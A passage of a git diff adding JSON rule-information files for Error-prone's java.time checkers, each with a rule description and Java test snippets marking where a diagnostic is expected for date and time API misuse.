LD.minus(PERIOD);\n private static final LocalDate LD2 = LD.minus(1, ChronoUnit.DAYS);\n }" + }, + { + "description": "localDateMinus_bad", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "import java.time.Duration;\n import java.time.LocalDate;\n\n public class TestClass {\n private static final LocalDate LD = LocalDate.of(1985, 5, 31);\n private static final Duration DURATION = Duration.ofDays(1);\n // BUG: Diagnostic contains: LocalDateTemporalAmount\n private static final LocalDate LD0 = LD.minus(DURATION);\n }" + }, + { + "description": "localDateMinus_zero", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodFrom.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodFrom.json new file mode 100644 index 0000000..bdf7e51 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodFrom.json @@ -0,0 +1,30 @@ +{ + "name": "PeriodFrom", + "language": "java", + "description": "Period.from(Period) returns itself; from(Duration) throws a runtime exception.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "failures", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "" + }, + { + "description": "periodFrom", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodGetTemporalUnit.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodGetTemporalUnit.json new file mode 100644 index 0000000..4a953ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodGetTemporalUnit.json @@ -0,0 +1,54 @@ +{ + "name": "PeriodGetTemporalUnit", + "language": "java", + "description": "Period.get() only works with YEARS, MONTHS, or DAYS.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "periodGetTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.time.Period;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final long years = Period.ZERO.get(ChronoUnit.YEARS);\n private static final long months = Period.ZERO.get(ChronoUnit.MONTHS);\n private static final long days = Period.ZERO.get(ChronoUnit.DAYS);\n // BUG: Diagnostic contains: PeriodGetTemporalUnit\n private static final long seconds = Period.ZERO.get(ChronoUnit.SECONDS);\n }" + }, + { + "description": "periodGetTemporalUnitStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import static java.time.temporal.ChronoUnit.DAYS;\n import static java.time.temporal.ChronoUnit.MONTHS;\n import static java.time.temporal.ChronoUnit.SECONDS;\n import static java.time.temporal.ChronoUnit.YEARS;\n import java.time.Period;\n\n public class TestClass {\n private static final long years = Period.ZERO.get(YEARS);\n private static final long months = Period.ZERO.get(MONTHS);\n private static final long days = Period.ZERO.get(DAYS);\n // BUG: Diagnostic contains: PeriodGetTemporalUnit\n private static final long seconds = Period.ZERO.get(SECONDS);\n }" + }, + { + "description": "periodGetWithRandomTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "" + }, + { + "description": "periodGetWithAliasedTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "" + }, + { + "description": "periodGetWithCustomTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodTimeMath.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodTimeMath.json new file mode 100644 index 0000000..b4686bf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodTimeMath.json @@ -0,0 +1,38 @@ +{ + "name": "PeriodTimeMath", + "language": "java", + "description": "When adding or subtracting from a Period, Duration is incompatible.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 1, + "apis": 2, + "test": [ + { + "description": "failures", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "" + }, + { + "description": "periodMath", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "" + }, + { + "description": "strictPeriodMath", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PreferJavaTimeOverload.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PreferJavaTimeOverload.json new file mode 100644 index 0000000..06f9e5a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PreferJavaTimeOverload.json @@ -0,0 +1,222 @@ +{ + "name": "PreferJavaTimeOverload", + "language": "java", + "description": "Prefer using java.time-based APIs when available. Note that this checker does not and cannot guarantee that the overloads have equivalent semantics, but that is generally the case with overloaded methods.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 288, + "branches": 39, + "apis": 9, + "test": [ + { + "description": "callingLongTimeUnitMethodWithDurationOverload_microseconds", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.google.common.cache.CacheBuilder;\nimport java.util.concurrent.TimeUnit;\n\npublic class TestClass {\n public CacheBuilder foo(CacheBuilder builder) {\n // BUG: Diagnostic contains: builder.expireAfterAccess(Duration.of(42, ChronoUnit.MICROS));\n return builder.expireAfterAccess(42, TimeUnit.MICROSECONDS);\n }\n}" + }, + { + "description": "callingLongTimeUnitMethodWithDurationOverload", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import com.google.common.cache.CacheBuilder;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n public CacheBuilder foo(CacheBuilder builder) {\n // BUG: Diagnostic contains: builder.expireAfterAccess(Duration.ofSeconds(42L));\n return builder.expireAfterAccess(42L, TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "callingLongTimeUnitMethodWithDurationOverload_durationDecompose", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import com.google.common.cache.CacheBuilder;\n import java.time.Duration;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n public CacheBuilder foo(CacheBuilder builder) {\n Duration duration = Duration.ofMillis(12345);\n // BUG: Diagnostic contains: builder.expireAfterAccess(duration);\n return builder.expireAfterAccess(duration.toSeconds(), TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "callingLongTimeUnitMethodWithDurationOverload_durationDecompose_getSeconds", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "import com.google.common.cache.CacheBuilder;\n import java.time.Duration;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n public CacheBuilder foo(CacheBuilder builder) {\n Duration duration = Duration.ofMillis(12345);\n // BUG: Diagnostic contains: builder.expireAfterAccess(duration);\n return builder.expireAfterAccess(duration.getSeconds(), TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "callingLongTimeUnitMethodWithDurationOverload_durationHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "import com.google.common.cache.CacheBuilder;\n import java.time.Duration;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n public CacheBuilder foo(CacheBuilder builder) {\n Duration duration = Duration.ofMillis(12345);\n // BUG: Diagnostic contains: return\n // builder.expireAfterAccess(Duration.ofSeconds(duration.hashCode()));\n return builder.expireAfterAccess(duration.hashCode(), TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "callingLongTimeUnitMethodWithDurationOverload_intParam", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "import com.google.common.cache.CacheBuilder;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n public CacheBuilder foo(CacheBuilder builder) {\n // BUG: Diagnostic contains: builder.expireAfterAccess(Duration.ofSeconds(42));\n return builder.expireAfterAccess(42, TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "callLongTimeUnitInsideImpl", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "" + }, + { + "description": "callingLongTimeUnitMethodWithDurationOverload_privateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "import java.time.Duration;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n private void bar(long v, TimeUnit tu) {}\n\n private void bar(Duration d) {}\n\n public void foo() {\n // BUG: Diagnostic contains: bar(Duration.ofSeconds(42L));\n bar(42L, TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "callingLongTimeUnitMethodWithoutDurationOverload", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "import java.util.concurrent.Future;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n public String foo(Future future) throws Exception {\n return future.get(42L, TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "callingJodaDurationMethodWithDurationOverload_privateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "" + }, + { + "description": "callingJodaInstantMethodWithInstantOverload_privateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "" + }, + { + "description": "callingJodaDurationMethodWithDurationOverload_privateMethod_jodaDurationMillis", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n private void bar(org.joda.time.Duration d) {}\n\n private void bar(Duration d) {}\n\n public void foo() {\n // BUG: Diagnostic contains: bar(Duration.ofMillis(42));\n bar(org.joda.time.Duration.millis(42));\n }\n }" + }, + { + "description": "callingJodaDurationMethodWithDurationOverload_privateMethod_jodaDurationCtor", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n private void bar(org.joda.time.Duration d) {}\n\n private void bar(Duration d) {}\n\n public void foo() {\n // BUG: Diagnostic contains: bar(Duration.ofMillis(42));\n bar(new org.joda.time.Duration(42));\n }\n }" + }, + { + "description": "callingJodaInstantMethodWithInstantOverload_privateMethod_jodaInstantCtor", + "expected-problems": null, + "expected-linenumbers": [ + 293 + ], + "code": "import java.time.Instant;\n\n public class TestClass {\n private void bar(org.joda.time.Instant i) {}\n\n private void bar(Instant i) {}\n\n public void foo() {\n // BUG: Diagnostic contains: bar(Instant.ofEpochMilli(42));\n bar(new org.joda.time.Instant(42));\n }\n }" + }, + { + "description": "callingJodaDurationMethodWithDurationOverload_privateMethod_jodaSeconds", + "expected-problems": null, + "expected-linenumbers": [ + 315 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n private void bar(org.joda.time.Duration d) {}\n\n private void bar(Duration d) {}\n\n public void foo() {\n // BUG: Diagnostic contains: bar(Duration.ofSeconds(42));\n bar(org.joda.time.Duration.standardSeconds(42));\n }\n }" + }, + { + "description": "callingJodaDurationMethodWithoutDurationOverload", + "expected-problems": null, + "expected-linenumbers": [ + 337 + ], + "code": "public class TestClass {\n private void bar(org.joda.time.Duration d) {}\n\n public void foo(org.joda.time.Duration jodaDuration) {\n bar(jodaDuration);\n }\n }" + }, + { + "description": "callingJodaDurationMethodWithSupertypeJavaDurationOverload", + "expected-problems": null, + "expected-linenumbers": [ + 354 + ], + "code": "public class TestClass extends SuperClass {\n @Override\n public void bar(java.time.Duration d) {\n bar(org.joda.time.Duration.standardSeconds(d.getSeconds()));\n }\n\n public void bar(org.joda.time.Duration jodaDuration) {}\n }\n\n class SuperClass {\n public void bar(java.time.Duration d) {}\n }" + }, + { + "description": "callingJodaReadableInstantMethodWithInstantOverload_privateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 376 + ], + "code": "" + }, + { + "description": "callingJodaReadableDurationMethodWithoutDurationOverload", + "expected-problems": null, + "expected-linenumbers": [ + 395 + ], + "code": "public class TestClass {\n private void bar(org.joda.time.ReadableDuration d) {}\n\n public void foo(org.joda.time.Duration jodaDuration) {\n bar(jodaDuration);\n }\n }" + }, + { + "description": "callingPrimitiveOverloadFromFieldInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 412 + ], + "code": "public class TestClass {\n static {\n // BUG: Diagnostic contains: call bar(Duration) instead\n bar(42);\n }\n\n private static void bar(java.time.Duration d) {}\n\n private static void bar(long d) {}\n }" + }, + { + "description": "callingNumericPrimitiveMethodWithDurationOverload", + "expected-problems": null, + "expected-linenumbers": [ + 432 + ], + "code": "public class TestClass {\n private void bar(java.time.Duration d) {}\n\n private void bar(long d) {}\n\n public void foo() {\n // BUG: Diagnostic contains: call bar(Duration) instead\n bar(42);\n }\n }" + }, + { + "description": "callingNumericPrimitiveMethodWithInstantOverload", + "expected-problems": null, + "expected-linenumbers": [ + 452 + ], + "code": "public class TestClass {\n private void bar(java.time.Instant i) {}\n\n private void bar(long timestamp) {}\n\n public void foo() {\n // BUG: Diagnostic contains: call bar(Instant) instead\n bar(42);\n }\n }" + }, + { + "description": "ignoredApisAreExcluded", + "expected-problems": null, + "expected-linenumbers": [ + 472 + ], + "code": "" + }, + { + "description": "b138221392", + "expected-problems": null, + "expected-linenumbers": [ + 475 + ], + "code": "" + }, + { + "description": "durationDividedBy", + "expected-problems": null, + "expected-linenumbers": [ + 478 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n public static Duration dividedBy(long divisor) {\n return Duration.ZERO;\n }\n\n public static long dividedBy(Duration divisor) {\n return 0L;\n }\n\n public void foo() {\n dividedBy(42L);\n dividedBy(Duration.ZERO);\n }\n }" + }, + { + "description": "assertJ", + "expected-problems": null, + "expected-linenumbers": [ + 507 + ], + "code": "public class TestClass {\n public void testAssertThat() {\n org.assertj.core.api.Assertions.assertThat(1).isEqualTo(1);\n }\n\n public void testAssumeThat() {\n org.assertj.core.api.Assumptions.assumeThat(1).isEqualTo(1);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoDurationGetSecondsGetNano.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoDurationGetSecondsGetNano.json new file mode 100644 index 0000000..c680711 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoDurationGetSecondsGetNano.json @@ -0,0 +1,182 @@ +{ + "name": "ProtoDurationGetSecondsGetNano", + "language": "java", + "description": "getNanos() only accesses the underlying nanosecond-adjustment of the duration.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "getSecondsWithGetNanos", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n int nanos = duration.getNanos();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "package test;\n\n import com.google.common.collect.ImmutableMap;\n import com.google.protobuf.Duration;\n\n public class TestCase {\n public static int foo(Duration duration) {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n return duration.getNanos();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType2", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "package test;\n\nimport com.google.common.collect.ImmutableMap;\nimport com.google.protobuf.Duration;\n\npublic class TestCase {\n public static ImmutableMap foo(Duration duration) {\n return ImmutableMap.of(\"seconds\", duration.getSeconds(), \"nanos\", duration.getNanos());\n }\n}" + }, + { + "description": "getSecondsWithGetNanosDifferentScope", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n if (true) {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = duration.getNanos();\n }\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInDifferentMethods", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n }\n\n public static void bar(Duration duration) {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = duration.getNanos();\n }\n }" + }, + { + "description": "getSecondsOnly", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n }\n }" + }, + { + "description": "getNanoOnly", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = duration.getNanos();\n }\n }" + }, + { + "description": "getNanoInMethodGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.getDefaultInstance();\n private static final long seconds = DURATION.getSeconds();\n\n public static void foo() {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = DURATION.getNanos();\n }\n }" + }, + { + "description": "getSecondsOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n static {\n long seconds = Duration.getDefaultInstance().getSeconds();\n }\n }" + }, + { + "description": "getNanoOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n static {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = Duration.getDefaultInstance().getNanos();\n }\n }" + }, + { + "description": "getSecondsOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n private final Duration DURATION = Duration.getDefaultInstance();\n private final long seconds = DURATION.getSeconds();\n private final int nanos = DURATION.getNanos();\n }" + }, + { + "description": "getNanoOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 265 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n private final int nanos = Duration.getDefaultInstance().getNanos();\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInMethod", + "expected-problems": null, + "expected-linenumbers": [ + 283 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.getDefaultInstance();\n\n public static void foo() {\n long seconds = DURATION.getSeconds();\n Object obj =\n new Object() {\n @Override\n public String toString() {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n return String.valueOf(DURATION.getNanos());\n }\n };\n }\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 312 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n Duration DURATION = Duration.getDefaultInstance();\n long seconds = DURATION.getSeconds();\n Object obj =\n new Object() {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n long nanos = DURATION.getNanos();\n };\n }" + }, + { + "description": "getNanoInMethodGetSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 335 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.getDefaultInstance();\n\n public static void foo() {\n Runnable r = () -> DURATION.getSeconds();\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = DURATION.getNanos();\n }\n }" + }, + { + "description": "getSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n import java.util.function.Supplier;\n\n public class TestCase {\n private static final Duration DURATION = Duration.getDefaultInstance();\n\n public void foo() {\n doSomething(() -> DURATION.getSeconds());\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = DURATION.getNanos();\n }\n\n public void doSomething(Supplier supplier) {}\n }" + }, + { + "description": "getNanoInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 384 + ], + "code": "package test;\n\n import com.google.protobuf.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.getDefaultInstance();\n\n public static void foo() {\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n Runnable r = () -> DURATION.getNanos();\n long seconds = DURATION.getSeconds();\n }\n }" + }, + { + "description": "getMessageGetSecondsGetNanos", + "expected-problems": null, + "expected-linenumbers": [ + 407 + ], + "code": "package test;\n\n import com.google.errorprone.bugpatterns.time.Test.DurationTimestamp;\n\n public class TestCase {\n public static void foo(DurationTimestamp durationTimestamp) {\n long seconds = durationTimestamp.getTestDuration().getSeconds();\n int nanos = durationTimestamp.getTestDuration().getNanos();\n }\n }" + }, + { + "description": "getNestedMessageGetSecondsGetNanos", + "expected-problems": null, + "expected-linenumbers": [ + 427 + ], + "code": "package test;\n\n import com.google.errorprone.bugpatterns.time.Test.DurationTimestamp;\n\n public class TestCase {\n public static void foo(DurationTimestamp dt) {\n long seconds = dt.getNestedMessage().getNestedTestDuration().getSeconds();\n int nanos = dt.getNestedMessage().getNestedTestDuration().getNanos();\n }\n }" + }, + { + "description": "getNestedMessageGetSecondsGetNanos_onDifferentProtoInstances", + "expected-problems": null, + "expected-linenumbers": [ + 447 + ], + "code": "package test;\n\n import com.google.errorprone.bugpatterns.time.Test.DurationTimestamp;\n\n public class TestCase {\n public static void foo(DurationTimestamp dt1, DurationTimestamp dt2) {\n long seconds = dt1.getNestedMessage().getNestedTestDuration().getSeconds();\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = dt2.getNestedMessage().getNestedTestDuration().getNanos();\n }\n }" + }, + { + "description": "getMessageGetSecondsGetNanosDifferentSubMessage", + "expected-problems": null, + "expected-linenumbers": [ + 468 + ], + "code": "package test;\n\n import com.google.errorprone.bugpatterns.time.Test.DurationTimestamp;\n\n public class TestCase {\n public static void foo(DurationTimestamp durationTimestamp) {\n long seconds = durationTimestamp.getTestDuration().getSeconds();\n // BUG: Diagnostic contains: ProtoDurationGetSecondsGetNano\n int nanos = durationTimestamp.getAnotherTestDuration().getNanos();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoTimestampGetSecondsGetNano.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoTimestampGetSecondsGetNano.json new file mode 100644 index 0000000..2ec8c1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoTimestampGetSecondsGetNano.json @@ -0,0 +1,158 @@ +{ + "name": "ProtoTimestampGetSecondsGetNano", + "language": "java", + "description": "getNanos() only accesses the underlying nanosecond-adjustment of the instant.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "getSecondsWithGetNanos", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n public static void foo(Timestamp timestamp) {\n long seconds = timestamp.getSeconds();\n int nanos = timestamp.getNanos();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "package test;\n\n import com.google.common.collect.ImmutableMap;\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n public static int foo(Timestamp timestamp) {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n return timestamp.getNanos();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType2", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "package test;\n\nimport com.google.common.collect.ImmutableMap;\nimport com.google.protobuf.Timestamp;\n\npublic class TestCase {\n public static ImmutableMap foo(Timestamp timestamp) {\n return ImmutableMap.of(\"seconds\", timestamp.getSeconds(), \"nanos\", timestamp.getNanos());\n }\n}" + }, + { + "description": "getSecondsWithGetNanosDifferentScope", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n public static void foo(Timestamp timestamp) {\n long seconds = timestamp.getSeconds();\n if (true) {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n int nanos = timestamp.getNanos();\n }\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInDifferentMethods", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n public static void foo(Timestamp timestamp) {\n long seconds = timestamp.getSeconds();\n }\n\n public static void bar(Timestamp timestamp) {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n int nanos = timestamp.getNanos();\n }\n }" + }, + { + "description": "getSecondsOnly", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n public static void foo(Timestamp timestamp) {\n long seconds = timestamp.getSeconds();\n }\n }" + }, + { + "description": "getNanoOnly", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n public static void foo(Timestamp timestamp) {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n int nanos = timestamp.getNanos();\n }\n }" + }, + { + "description": "getNanoInMethodGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n private static final Timestamp TIMESTAMP = Timestamp.getDefaultInstance();\n private static final long seconds = TIMESTAMP.getSeconds();\n\n public static void foo() {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n int nanos = TIMESTAMP.getNanos();\n }\n }" + }, + { + "description": "getSecondsOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n static {\n long seconds = Timestamp.getDefaultInstance().getSeconds();\n }\n }" + }, + { + "description": "getNanoOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n static {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n int nanos = Timestamp.getDefaultInstance().getNanos();\n }\n }" + }, + { + "description": "getSecondsOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n private final Timestamp TIMESTAMP = Timestamp.getDefaultInstance();\n private final long seconds = TIMESTAMP.getSeconds();\n private final int nanos = TIMESTAMP.getNanos();\n }" + }, + { + "description": "getNanoOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 265 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n private final int nanos = Timestamp.getDefaultInstance().getNanos();\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInMethod", + "expected-problems": null, + "expected-linenumbers": [ + 283 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n private static final Timestamp TIMESTAMP = Timestamp.getDefaultInstance();\n\n public static void foo() {\n long seconds = TIMESTAMP.getSeconds();\n Object obj =\n new Object() {\n @Override\n public String toString() {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n return String.valueOf(TIMESTAMP.getNanos());\n }\n };\n }\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 312 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n Timestamp TIMESTAMP = Timestamp.getDefaultInstance();\n long seconds = TIMESTAMP.getSeconds();\n Object obj =\n new Object() {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n long nanos = TIMESTAMP.getNanos();\n };\n }" + }, + { + "description": "getNanoInMethodGetSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 335 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n\n public class TestCase {\n private static final Timestamp TIMESTAMP = Timestamp.getDefaultInstance();\n\n public static void foo() {\n Runnable r = () -> TIMESTAMP.getSeconds();\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n int nanos = TIMESTAMP.getNanos();\n }\n }" + }, + { + "description": "getSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "package test;\n\n import com.google.protobuf.Timestamp;\n import java.util.function.Supplier;\n\n public class TestCase {\n private static final Timestamp TIMESTAMP = Timestamp.getDefaultInstance();\n\n public void foo() {\n doSomething(() -> TIMESTAMP.getSeconds());\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n int nanos = TIMESTAMP.getNanos();\n }\n\n public void doSomething(Supplier supplier) {}\n }" + }, + { + "description": "getNanoInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 384 + ], + "code": "package test;\n\n import 